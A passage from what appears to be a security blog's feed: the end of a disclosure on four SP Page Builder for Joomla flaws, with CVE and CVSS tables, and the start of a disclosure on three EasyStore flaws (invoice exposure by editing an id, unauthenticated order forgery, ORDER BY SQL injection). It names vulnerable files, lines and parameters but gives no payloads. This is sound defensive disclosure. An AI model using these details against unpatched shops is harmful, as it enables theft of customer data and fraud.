&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 6.8.0,&lt;/strong&gt; which fixes CVE-2026-65876 and the pre-authentication code execution flaw reported separately. If you applied the hand mitigation below while waiting, remove it afterwards.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door on the four issues we reported. It does not undo any data an attacker may already have read through the SQL injection, so if you handle sensitive data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every SP Page Builder site I manage?&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Page Builder once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every SP Page Builder install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.7.1. We also flag every site sitting on 6.7.1 itself, for the fifth issue that release did not fix. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why page builders keep producing this&lt;/h2&gt;
&lt;p&gt;Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads a list of tags, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker.&lt;/p&gt;
&lt;p&gt;We have seen the same shape across the ecosystem this year, from &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla disclosures&lt;/a&gt;. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.&lt;/p&gt;
&lt;p&gt;On the engineering, JoomShaper did the right things. They shared a pre-release build for us to verify, fixed all four issues, hardened a couple of related weaknesses we flagged while checking that build, and told their users to update in a public security notice covering both the Pro and free editions.&lt;/p&gt;
&lt;p&gt;On the disclosure, once again they gave mySites.guru no acknowledgement. They shared that pre-release build on 23 July, then shipped the final 6.7.1 without telling us it was going out. Their changelog also plays the severity down: a pre-authentication SQL injection that hands an anonymous visitor your entire database is written up as &quot;improved input validation and access control&quot;, and an unauthenticated open mail relay as &quot;improved submission verification&quot;. A site owner reading that has no way to tell how serious either was. We saw the same pattern from the same vendor days earlier with &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;, where three serious flaws were closed as routine changelog lines with no advisory and no credit.&lt;/p&gt;
&lt;p&gt;That is also the backdrop to the August update above. Faced with a critical flaw their own release did not close, one under active exploitation with no patch available, JoomShaper have named the affected endpoint in a public support forum thread and told customers a fix is coming in the next release. That tells attackers exactly where to look and leaves defenders with nothing to install. The order matters: ship the fix, then explain it.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;The worst finding is a SQL injection (CWE-89) reachable by an anonymous visitor over the network, gated only by a CSRF token that Joomla issues to everyone. The mail relay stems from a hardcoded, product-wide secret (CWE-798) and yields unauthenticated arbitrary mail sending with sender spoofing. The remaining two, a media-manager SQL injection and an arbitrary file delete via path traversal (CWE-22), need a low-privilege authenticated author.&lt;/p&gt;
&lt;p&gt;The Joomla CNA assigned four CVE IDs for these findings on 27 July 2026, the day 6.7.1 shipped. All four have now published with full descriptions and scores, so the mapping we promised is below.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;CNA score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65766&quot;&gt;CVE-2026-65766&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Pre-authentication SQL injection, &lt;code&gt;order&lt;/code&gt; parameter, Dynamic Content endpoint&lt;/td&gt;
&lt;td&gt;9.2 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65879&quot;&gt;CVE-2026-65879&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated mail relay via a hardcoded, product-wide secret&lt;/td&gt;
&lt;td&gt;9.8 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65877&quot;&gt;CVE-2026-65877&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Authenticated SQL injection in the media manager&lt;/td&gt;
&lt;td&gt;8.2 High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65878&quot;&gt;CVE-2026-65878&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Authenticated arbitrary file delete&lt;/td&gt;
&lt;td&gt;8.3 High&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The CNA scored the pre-authentication SQL injection 9.2 Critical. We scored it 8.7 High, for the reason set out below. Where the two differ, the CNA&apos;s number is the one that travels with the CVE.&lt;/p&gt;
&lt;p&gt;There is also a fifth CVE against the same version range. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65876&quot;&gt;CVE-2026-65876&lt;/a&gt; is an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint, scored 9.2 Critical. It is not one of the four issues we reported.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Corrected 10 August 2026.&lt;/strong&gt; When this post first went out we wrote that 6.7.1 fixed five issues, not four. That was wrong. We took the CVE record&apos;s word for it rather than reading the code, because the fifth finding was not ours. Having now read the shipping package, 6.7.1 fixes four issues. CVE-2026-65876 survives in it, &lt;a href=&quot;#the-fifth-flaw-that-671-did-not-fix&quot;&gt;as set out above&lt;/a&gt;, and the CVE record still incorrectly lists 6.7.1 as the fixed version.&lt;/p&gt;
&lt;p&gt;We score every issue under CVSS 4.0. The pre-authentication SQL injection comes out at &lt;strong&gt;8.7, High&lt;/strong&gt;, the top of the High band, where CVSS 4.0 caps a single maximal impact reached with no privileges. A full-database read is a total loss of confidentiality regardless of where the number falls.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Pre-authentication SQL injection, the worst of four findings&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable over the internet with only the CSRF token Joomla hands to every visitor. Ends in full read access to the site database, password hashes and the site secret included.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Each finding, scored under CVSS 4.0:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;Vector (&lt;code&gt;CVSS:4.0/...&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pre-authentication SQL injection (full DB read)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authenticated arbitrary file delete&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7.2&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authenticated media-manager SQL injection&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7.1&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated mail relay (sender spoofing)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6.9&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;CVSS 4.0 scores the mail relay &lt;strong&gt;6.9, Medium&lt;/strong&gt;, because the direct impact on the Joomla system is low: it reads and changes nothing on the site itself. That number understates the practical risk, which is phishing sent from your own domain and mail server, and the mail-reputation damage that follows. We treat it as a priority fix regardless.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;SP Page Builder for Joomla (&lt;code&gt;com_sppagebuilder&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Pre-auth SQL injection (CWE-89); unauthenticated mail relay via hardcoded secret (CWE-798); authenticated SQL injection (CWE-89); authenticated arbitrary file delete (CWE-22)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (High) pre-auth SQL injection; 7.2 (High) file delete; 7.1 (High) media SQL injection; 6.9 (Medium) mail relay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65766&quot;&gt;CVE-2026-65766&lt;/a&gt; pre-auth SQL injection (9.2 Critical), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65879&quot;&gt;CVE-2026-65879&lt;/a&gt; mail relay (9.8 Critical), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65877&quot;&gt;CVE-2026-65877&lt;/a&gt; media manager SQL injection (8.2 High), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65878&quot;&gt;CVE-2026-65878&lt;/a&gt; arbitrary file delete (8.3 High), all assigned via the Joomla CNA on 27 July 2026 and now published. A fifth CVE against the same versions, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65876&quot;&gt;CVE-2026-65876&lt;/a&gt; (&lt;code&gt;loadMoreArticles&lt;/code&gt; &lt;code&gt;catid&lt;/code&gt; SQL injection, 9.2 Critical), is not one of our findings and is still unfixed in 6.7.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read of the whole database including password hashes; unauthenticated arbitrary mail sending with sender spoofing; low-privilege database read and web-root file deletion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;6.7.0 and all earlier versions (our four findings); 6.7.1 and earlier for CVE-2026-65876&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;SP Page Builder 6.7.1 for our four findings. CVE-2026-65876 is unfixed as of 10 August 2026; JoomShaper says 6.8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported&lt;/td&gt;
&lt;td&gt;21 July 2026 (privately to JoomShaper)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acknowledged&lt;/td&gt;
&lt;td&gt;22 July 2026 (JoomShaper confirmed receipt, team informed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verified&lt;/td&gt;
&lt;td&gt;23 July 2026 (mySites.guru confirmed all four fixes in a JoomShaper pre-release build)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed&lt;/td&gt;
&lt;td&gt;27 July 2026 (SP Page Builder 6.7.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE assigned&lt;/td&gt;
&lt;td&gt;27 July 2026 (four IDs via the Joomla CNA, records pending publication)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;The June 2026 SP Page Builder icon-upload zero-day&lt;/a&gt; - the earlier, separate flaw in the same component, exploited in the wild and fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Our Quix Page Builder SQL injection disclosure&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt; - the same class of bug across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/798.html&quot;&gt;CWE-798: Use of Hard-coded Credentials&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the canonical references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension&quot;&gt;JoomShaper downloads&lt;/a&gt; - the vendor&apos;s download page, currently offering 6.7.1, and where 6.8.0 will appear when it ships.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp page builder</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/sp-page-builder-sql-injection-mail-relay-disclosure.BKiyO6WP.png" length="0" type="image/png"/></item><item><title>Exposed Customer Invoices, Order Forgery and SQL Injection in EasyStore for Joomla found by mySites.guru</title><link>https://mysites.guru/blog/easystore-security-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/easystore-security-disclosure/</guid><description>Before EasyStore 2.0.2, any logged-in customer could read every other customer&apos;s invoice by editing one URL. mySites.guru found this and two unauthenticated flaws. Update now.</description><pubDate>Thu, 23 Jul 2026 16:01:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/easystore&quot;&gt;EasyStore&lt;/a&gt; is JoomShaper&apos;s ecommerce component for Joomla, the shopping-cart engine behind a growing number of Joomla shops. Here is the finding that will make any shop owner wince: before EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, any logged-in customer could pull up every other customer&apos;s order and printable invoice, with full name, email address, billing and shipping addresses, phone number and complete purchase history, &lt;strong&gt;by changing one number in the URL&lt;/strong&gt;. On a shop with open customer registration, which is most shops, &quot;any logged-in customer&quot; means anyone who signs up. mySites.guru found that during routine security research, along with two more issues that need no login at all, and reported all three to JoomShaper before disclosing anything publicly.&lt;/p&gt;
&lt;p&gt;If you run EasyStore on any Joomla site, update to 2.0.2 now. If you manage more than a handful of shops, read on for how to find every affected one at once, and for how JoomShaper chose to ship the fix.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found &lt;strong&gt;three critical vulnerabilities&lt;/strong&gt; in EasyStore 2.0.1 and reported them to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-customer invoice and order exposure.&lt;/strong&gt; The order and invoice views only checked that &lt;em&gt;someone&lt;/em&gt; was logged in, never that the order belonged to them, so &lt;strong&gt;any customer could read every other customer&apos;s order and invoice&lt;/strong&gt; by changing the id in the URL. Names, emails, addresses, phone numbers, the lot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated order forgery.&lt;/strong&gt; An anonymous request to the order-repayment endpoint could mark any order &lt;strong&gt;paid&lt;/strong&gt; with no login, no token, and no contact with any payment gateway. Goods released without payment, and the same flaw rewrites any order&apos;s fields by changing an id&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated SQL injection.&lt;/strong&gt; The product-list sort parameter placed request input straight into the database query&apos;s &lt;code&gt;ORDER BY&lt;/code&gt;, so an &lt;strong&gt;anonymous visitor could read the entire database&lt;/strong&gt;: Joomla accounts, password hashes, the site secret, and every customer record&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to EasyStore 2.0.2 immediately.&lt;/strong&gt; Affected: 2.0.1 and every earlier version&lt;/li&gt;
&lt;li&gt;Reported privately on 21 July 2026, fixed the next day in &lt;strong&gt;2.0.2&lt;/strong&gt;, but shipped with &lt;strong&gt;no security advisory and no credit&lt;/strong&gt;. The Joomla CNA has assigned three CVEs, CVE-2026-65759, CVE-2026-65760 and CVE-2026-65761, and rated two of them &lt;strong&gt;Critical&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each shop by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How JoomShaper shipped the fix: quietly&lt;/h2&gt;
&lt;p&gt;We reported all three privately on 21 July 2026. JoomShaper replied on 22 July, confirmed they had reproduced and verified every one, said they were &quot;treating these issues with the highest priority&quot;, thanked us, and said they looked forward to continuing to work with us. The next day, 23 July, they shipped EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, and it closes all three.&lt;/p&gt;
&lt;p&gt;To be fair to the code, we checked. We downloaded 2.0.2 and read the exact paths we had reported: the repayment endpoint now requires a token, checks that the order belongs to the caller, and takes the payment status from the stored order rather than from the request; the product sort is restricted to a fixed &lt;code&gt;ASC&lt;/code&gt;/&lt;code&gt;DESC&lt;/code&gt; allow-list; and the order and invoice views now verify that the order belongs to the person viewing it. The fix is correct and complete, and we have no complaint about the code.&lt;/p&gt;
&lt;p&gt;The handling is another matter. The 2.0.2 release carries no security advisory, the changelog never says &quot;security release&quot;, and the three fixes sit among routine feature additions and cosmetic bug fixes, each written in language a shop owner would read straight past. Here is the changelog as JoomShaper published it:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The three critical security fixes are the last three lines of the Fixes list, sitting directly under a coupon bug and a product gallery thumbnail glitch, with nothing to mark them out as different. Here is what we reported, set against the exact words JoomShaper used to describe each fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What we found and reported&lt;/th&gt;
&lt;th&gt;How JoomShaper described it in the 2.0.2 changelog&lt;/th&gt;
&lt;th&gt;Severity (CVSS 4.0)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Any logged-in customer could read every other customer&apos;s order and invoice by changing the id in the URL&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&quot;Enforced user ownership verification on order details and invoice views&quot;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.2, Critical&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An anonymous request could mark any order paid, and rewrite any order&apos;s fields, with no login&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&quot;Fixed unauthenticated order state manipulation in the checkout repay task&quot;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.7, High&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An anonymous visitor could read the entire database through the product sort parameter&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&quot;Added strict allowlist sanitization for product list sorting options&quot;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.3, Critical&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Only one of those three lines even contains the word &quot;unauthenticated&quot;. There was no coordinated disclosure date, no heads-up that the release was going out, no CVE requested, and no credit to the finder. A shop owner scanning that changelog has no way to know that 2.0.2 is the most urgent update EasyStore has shipped this year, or that staying on 2.0.1 leaves every customer&apos;s invoice one URL edit away from any logged-in visitor.&lt;/p&gt;
&lt;p&gt;Because JoomShaper did not request one, mySites.guru took these issues to the Joomla CNA, which assigned three CVEs on 23 July 2026: CVE-2026-65759 for the order forgery, CVE-2026-65760 for the cross-customer invoice disclosure and CVE-2026-65761 for the SQL injection. The CVE records name Phil Taylor as the finder, the credit JoomShaper&apos;s own release withheld. The CNA rated the SQL injection 9.3 Critical and the invoice disclosure 9.2 Critical, higher than our own conservative scores. There is now a public, citable record that does not depend on a changelog line reading like a slider tweak.&lt;/p&gt;
&lt;p&gt;Neither of those steps should have fallen to us. The Joomla Security Strike Team has since proposed a Manual page for extension developers, and &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;points 11 and 12 of those twenty rules&lt;/a&gt; cover exactly this: request the CVE from the Joomla CNA before you disclose, and always offer the reporter credit in the wording they choose.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Treat EasyStore 2.0.2 as an urgent security release, whatever its changelog implies. Two of the three flaws need no login, and the third exposes your entire customer base&apos;s personal data to anyone who can register. If a vulnerable version was live on a shop that handles real customers, this is a personal-data breach you may be obliged to report.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The three flaws in detail&lt;/h2&gt;
&lt;p&gt;EasyStore is a full ecommerce component: products, a cart, checkout, orders, invoices, coupons and payment plugins. That is a large front-end attack surface, because a shop has to accept requests from anonymous visitors to function. Most of it is built carefully. Three places were not.&lt;/p&gt;
&lt;h3&gt;1. Every customer&apos;s invoice, one URL edit away&lt;/h3&gt;
&lt;p&gt;The flaw that leads this post is a broken access control, the kind that quietly exposes personal data. EasyStore&apos;s order detail page and its printable invoice only checked that &lt;em&gt;someone&lt;/em&gt; was logged in. They never checked that the order being viewed actually belonged to the person viewing it. The query that loads the order (&lt;code&gt;OrderManager.php:917-938&lt;/code&gt;) filtered on the order id alone, with no customer-ownership condition.&lt;/p&gt;
&lt;p&gt;Because order ids are sequential integers, any logged-in customer could walk through them one by one and read every other customer&apos;s order and printable invoice: full name, email address, billing and shipping addresses, phone number, and complete purchase history. Change &lt;code&gt;id=1041&lt;/code&gt; to &lt;code&gt;id=1042&lt;/code&gt; and you are looking at the next customer&apos;s invoice. On a shop with open customer registration, &quot;any logged-in customer&quot; means anyone. That is a serious personal-data exposure and, under the UK GDPR and equivalents, a reportable breach if it happened on a live shop.&lt;/p&gt;
&lt;p&gt;The tell here is that EasyStore already gets this right elsewhere. Guest orders are protected by an unguessable token emailed to the customer, and the order-cancel path does check ownership. The detail and invoice views simply missed the same check. The fix (which we confirmed in 2.0.2) adds the ownership condition so a customer can only ever load their own orders.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Data exposure like this leaves no trace. No file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live on a shop with real customers, you have to assume the customer list and its invoices were reachable, and handle it as a potential data breach.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;2. Marking any order paid, for free, with no login&lt;/h3&gt;
&lt;p&gt;The most direct of the three, and it needs no account. EasyStore has an order-repayment path, meant to let a customer retry payment on an order. The endpoint took the order details straight from the request body as JSON, including the &lt;strong&gt;payment status&lt;/strong&gt;, and for any enabled manual payment method (Cash on Delivery is enabled by default and qualifies) it wrote that status to the database.&lt;/p&gt;
&lt;p&gt;The root cause was in the checkout controller, which built the order object from client JSON and called &lt;code&gt;updateOrder()&lt;/code&gt;, ending in a blind write at &lt;code&gt;OrderController.php:299&lt;/code&gt; (&lt;code&gt;$orm-&amp;gt;update(&apos;#__easystore_orders&apos;, $data, &apos;id&apos;)&lt;/code&gt;). Nothing in that path checked a login, a CSRF token, ownership of the order, or, crucially, whether any payment actually happened. There was no call to a payment gateway anywhere in it.&lt;/p&gt;
&lt;p&gt;So an anonymous attacker could send one crafted request and flip any order to &lt;code&gt;paid&lt;/code&gt;. On a shop that ships on payment status, that is goods dispatched for free. Because the order id is attacker-chosen and sequential, the same flaw also let an attacker rewrite arbitrary fields on &lt;strong&gt;any&lt;/strong&gt; order in the shop, addresses, customer id and discount included.&lt;/p&gt;
&lt;p&gt;We proved it on our own EasyStore test install: a single anonymous request turned a test order from &lt;code&gt;unpaid&lt;/code&gt; to &lt;code&gt;paid&lt;/code&gt;, and we then restored the test data. The fix (confirmed in 2.0.2) ties the repayment path to the real customer, requires a token, and only ever sets payment status from the stored order or a verified gateway response.&lt;/p&gt;
&lt;h3&gt;3. Unauthenticated SQL injection through the product sort&lt;/h3&gt;
&lt;p&gt;The product listing lets shoppers sort results, and the sort option arrives in a request parameter, &lt;code&gt;filter_sortby&lt;/code&gt;. EasyStore split that value into a column and a direction, and the direction was passed through to the database query&apos;s &lt;code&gt;ORDER BY&lt;/code&gt; clause &lt;strong&gt;without being checked against a list of allowed values&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The direction helper (&lt;code&gt;FilterHelper.php:741&lt;/code&gt;) returned the request&apos;s direction unchanged, and the model (&lt;code&gt;ProductsModel.php:923&lt;/code&gt;) concatenated it straight into the query. A sort direction is one of the few places you cannot simply quote a value safely, which is exactly why the surrounding code has to restrict it to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt;. This path did not, while the sibling brand and collection listings did. That gap was the bug.&lt;/p&gt;
